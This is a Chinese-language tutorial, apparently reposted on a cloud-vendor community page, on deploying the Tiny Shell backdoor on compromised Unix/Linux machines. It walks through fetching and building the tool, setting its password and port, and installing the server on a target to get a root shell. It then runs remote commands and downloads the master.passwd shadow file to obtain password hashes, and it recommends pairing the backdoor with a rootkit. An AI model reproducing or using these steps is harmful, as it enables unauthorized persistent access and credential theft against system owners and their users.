Tiny Shell使用說明書

來源:互聯網
上載者:User

  Tiny Shell是一款輕量級的標準遠程Shell工具,可以提供遠程執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援pseudo-Terminal Pairs(pty/tty)等偽終端。

  一,前言

  隨著互連網的發展,使用Unix/Linux系統的越來越多,而入侵一台Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較進階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最進階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕禦。而 Tiny Shell作為一款運行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。

  二,應用

  1,Tiny Shell簡介 Tiny Shell是一款輕量級的標準遠程Shell工具,可以提供遠程執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。

  2,Tiny Shell應用 測試環境: 本地:OpenBSD 3.4 IP:192.168.0.40 目標:FreeBSD 4.9 STABLE IP:192.168.0.20 首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。 #fetch http://www.ringz.org/tsh-0.6.tgz #tar zxvf tsh-0.6.tgz #cd tsh-0.6 #ls ChangeLog README aes.h pel.h sha1.h tsh.h Makefile aes.c pel.c sha1.c tsh.c tshd.c #vi tsh.h char *secret = "replace with your passWord"; //串連後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼 if( passWord == NULL ) { /* 1st try, using the built-in secret key */ ret = pel_client_init( server, secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid, so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重點在這裡:ret = pel_client_init( server, secret ); 把secret變數作為了參數,也就是串連後門所需要的密碼。現在知道為什麼修改tsh.h了吧。 #define SERVER_PORT 7586 //後門簡聽的連接埠,任意修改 if( argc == 5 && ! strcmp( argv[2], "get" ) ) { action = GET_FILE; } if( argc == 5 && ! strcmp( argv[2], "put" ) ) { action = PUT_FILE; } //該後門並沒有協助資訊,所以查看這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出協助資訊,可以自己添加一個Printf語句來輸出協助資訊。這裡給出一個最簡單的方法,我們在不加參數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後查看原始碼,找到fprintf( stderr, "gethostbyname failed.n" );這句代碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的協助資訊,這樣,在執行./tsh的時候,就會自動輸出協助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根據你的系統做相應的選擇,10秒鐘就編譯好了(如圖1)。 然後,會在目前的目錄下產生兩個可執行檔,一個用戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname –a命令,回顯為FreeBSD系統,可見已經成功串連後門並登陸了(如圖2)。另外,該後門還可以在串連的時候插入Shell命令,文法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是串連192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了(如圖3)。但要注意,使用這種形式並沒有登陸目標主機,只是串連目標主機,然後插入一個Shell命令而已。 現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔案名稱 目標主機目錄”即可完成上傳,但要注意,檔案要在目前的目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20串連到目標主機,ls查看back是否已經上傳到了對方主機(如圖4),呵呵,還不錯吧!在來看下載檔案,它的文法為 “./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls查看,可以看見已經將對方的master.passwd下載到了本地(如圖5),再vi master.passwd(如圖6),哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。

  小結

  Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.